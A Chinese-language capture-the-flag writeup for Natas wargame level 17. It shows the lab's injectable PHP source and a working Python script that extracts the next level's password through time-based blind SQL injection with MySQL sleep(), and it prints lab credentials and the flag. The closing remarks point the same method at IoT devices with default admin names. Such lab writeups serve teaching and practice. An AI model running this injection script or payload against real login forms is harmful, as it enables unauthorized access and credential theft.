首页 > 代码库 > Natas Wargame Level 17 Writeup(Time-based Blind SQL Injection)
Natas Wargame Level 17 Writeup(Time-based Blind SQL Injection)
sourcecode核心代码:
1 <? 2 3 /* 4 CREATE TABLE `users` ( 5 `username` varchar(64) DEFAULT NULL, 6 `password` varchar(64) DEFAULT NULL 7 ); 8 */ 9 10 if(array_key_exists("username", $_REQUEST)) { 11 $link = mysql_connect(‘localhost‘, ‘natas17‘, ‘<censored>‘); 12 mysql_select_db(‘natas17‘, $link); 13 14 $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\""; 15 if(array_key_exists("debug", $_GET)) { 16 echo "Executing query: $query<br>"; 17 } 18 19 $res = mysql_query($query, $link); 20 if($res) { 21 if(mysql_num_rows($res) > 0) { 22 //echo "This user exists.<br>"; 23 } else { 24 //echo "This user doesn‘t exist.<br>"; 25 } 26 } else { 27 //echo "Error in query.<br>"; 28 } 29 30 mysql_close($link); 31 } else { 32 ?> 33 34 <form action="index.php" method="POST"> 35 Username: <input name="username"><br> 36 <input type="submit" value="http://www.mamicode.com/Check existence" /> 37 </form> 38 <? } ?>
这个题与前面的一个很相似,都是检查了username是否存在。但这个题将返回的信息全部注释掉了,所以我们无法通过“返回信息”来进行盲注。这里为什么要打引号呢?请参看OWASP的文章:https://www.owasp.org/index.php/Blind_SQL_Injection(真心觉得OWASP的攻击分类很全很准,以后一定要找一个时间翻译一下)。它对盲注进行了分类,一种是Content-based,另一种是Time-based。对于没有明显返回查询信息的页面(当然页面还是要返回的,只是页面为空),我们要进行盲注获得密码,就可以采取time based的方法。比如,我们使用mysql里的sleep()函数和if语句(https://dev.mysql.com/doc/refman/5.7/en/miscellaneous-functions.html#function_sleep、https://dev.mysql.com/doc/refman/5.7/en/control-flow-functions.html#function_if),只要查询到了结果就进入sleep(),延迟返回,反之立即返回,从而间接得到信息是否被正确查询到了,从而慢慢将密码破解出来。其实也可以这么想,我记得我上算法课的时候,老师说算法是一定有资源输入的,即使是一个空的语句比如pass,也需要输入时间。由此看来,只要是使用到了相关资源,我们就可以对资源进行监控从而猜测信息(这又有点像一些旁路攻击了)。
将上一篇博文的脚本进行更改,加入time库。
1 import httplib2 2 from urllib.parse import urlencode 3 from time import time 4 5 h = httplib2.Http() 6 natas17password = ‘8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw‘ 7 h.add_credentials(‘natas17‘, natas17password) 8 basestr = list(chr(i) for i in range(48, 58)) + list(chr(i) for i in range(65, 91)) + list( 9 chr(i) for i in range(97, 123)) 10 password = ‘xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhd‘ 11 index = 0 12 headers = {‘Content-type‘: ‘application/x-www-form-urlencoded‘} 13 while (len(password) < len(natas17password)): 14 forms = dict( 15 username="natas18\" and if (password like binary ‘" + (password + basestr[index]) + "%‘, sleep(5), 0) ;#") 16 print(forms) 17 time_test = time() 18 resp, content = h.request(‘http://natas17.natas.labs.overthewire.org/index.php‘, ‘POST‘, urlencode(forms), headers) 19 time_test = time() - time_test 20 print(time_test) 21 if (time_test > 5): 22 password += basestr[index] 23 print(password) 24 index = 0 25 continue 26 else: 27 index = (index + 1) % (123 - 48) 28 if index == 0: 29 print(‘wrong!‘) 30 continue 31 print(‘password = ‘, password)
注意下面的时间,考虑到网络延时,我将sleep设置为了5,冗余比较大,从输出来看,一般立即返回的时间的0.5秒左右。
这里对上一篇博文的一个观点进行一下补充。在现实中,我们常常注意到有的管理员返回的信息不够最小化,比如返回“用户名错误”,使得我们可以进行基于content的注入(前提是查询语句可以注入)。其实即使设置了“用户名或密码错误”也可以进行注入攻击——因为很多时候我们是确定用户名是对的(比如物联网上设备的admin和默认设备用户名,他们最多就是将密码设为不同,但默认用户名大多一样),也可以进行content盲注。即便登录或者不登录都没有返回信息,我们也可以通过伪造对资源(时间)消耗的不同从而进行time盲注。
flag:xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP
Natas Wargame Level 17 Writeup(Time-based Blind SQL Injection)